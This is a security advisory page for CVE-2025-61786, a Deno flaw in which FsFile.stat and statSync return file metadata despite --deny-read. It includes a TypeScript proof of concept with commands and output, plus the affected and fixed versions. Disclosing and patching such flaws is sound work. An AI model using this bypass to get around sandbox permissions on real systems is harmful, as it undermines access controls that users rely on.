CVE-2025-61786: Deno's --deny-read check does not prevent permission bypass

Published Oct 8, 2025
·
Updated

Summary

Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./.

It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./)

Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model.

PoC

Setup: deno --version deno 2.4.2 (stable, release, x8664-unknown-linux-gnu) v8 13.7.152.14-rusty typescript 5.8.3

touch test1.txt

- pocfile.stat.ts ts // touch test1.txt // https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat // deno run --deny-read=./ --allow-write=./ pocfile.stat.ts 1 // deno run --allow-write=./ pocfile.stat.ts 1 async function poc1(){ using file = await Deno.open("./test1.txt", { read: false, write: true}); const fileInfo = await file.stat(); console.log(fileInfo.isFile); }

// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync // deno run --deny-read=./ --allow-write=./ pocfile.stat.ts 2 // deno run --allow-write=./ pocfile.stat.ts 2 function poc2(){ using file = Deno.openSync("./test1.txt", { read: false, write: true}); const fileInfo = file.statSync(); console.log(fileInfo.isFile); }

// https://docs.deno.com/api/deno/~/Deno.stat // deno run --deny-read=./ --allow-write=./ pocfile.stat.ts 3 // deno run --allow-write=./ pocfile.stat.ts 3 async function poc3(){ // not executed const fileInfo = await Deno.stat("./test1.txt"); console.log(fileInfo.isFile); }

// https://docs.deno.com/api/deno/~/Deno.statSync // deno run --deny-read=./ --allow-write=./ pocfile.stat.ts 4 // deno run --allow-write=./ pocfile.stat.ts 4 function poc4(){ // not executed const fileInfo = Deno.statSync("./test1.txt"); console.log(fileInfo.isFile); }

async function main(){ const poc = Deno.args[0] || 1;

const status = await Deno.permissions.query({ name: "read", path: "./" }); console.log(status); switch (poc) { case "1": poc1() break; case "2": poc2() break; case "3": poc3() break; case "4": poc4() break; default: poc1() } }

main()

Output: - deno run --deny-read=./ --allow-write=./ pocfile.stat.ts 1 PermissionStatus { state: "denied", onchange: null } true

- deno run --deny-read=./ --allow-write=./ pocfile.stat.ts 2 PermissionStatus { state: "denied", onchange: null } true

- deno run --deny-read=./ --allow-write=./ pocfile.stat.ts 3 PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag const fileInfo = await Deno.stat("./test1.txt"); ^ ...

- deno run --deny-read=./ --allow-write=./ pocfile.stat.ts 4 PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag const fileInfo = Deno.statSync("./test1.txt"); ^ ...

Impact

Permission model bypass

Other sources

Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync are not limited by the permission model check --deny-read=./. It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with --deny-read=./). Similar APIs like Deno.stat and Deno.statSync require allow-read permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.

— MITRE

Affected Software

4 affected componentsFixes available
Deno Deno<2.2.15, <2.5.3
rust/deno<2.5.3
2.5.3
Deno Deno<=2.2.15
Deno Deno>=2.3.0<2.5.3

Event History

Oct 8, 2025
CVE Published
via MITRE·12:49 AM
Data Sourced
via MITRE·12:49 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·01:15 AM
RemedyDescriptionSeverityWeaknessAffected Software
Advisory Published
via GitHub·05:56 PM
Data Sourced
via GitHub·05:56 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2025-61786?

CVE-2025-61786 has been classified with a moderate severity due to its potential for unauthorized file access.

2

How do I fix CVE-2025-61786?

To fix CVE-2025-61786, upgrade Deno to version 2.5.3 or later, or version 2.2.15 or later.

3

What versions of Deno are affected by CVE-2025-61786?

Versions of Deno prior to 2.5.3 and 2.2.15 are affected by CVE-2025-61786.

4

What functionality is impacted by CVE-2025-61786?

CVE-2025-61786 impacts the file permission checks of `Deno.FsFile.prototype.stat` and `Deno.FsFile.prototype.statSync`, allowing unauthorized file stat retrieval.

5

Is CVE-2025-61786 specific to certain environments?

CVE-2025-61786 is specific to the Deno runtime and affects how file statistics are accessed based on permission settings.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203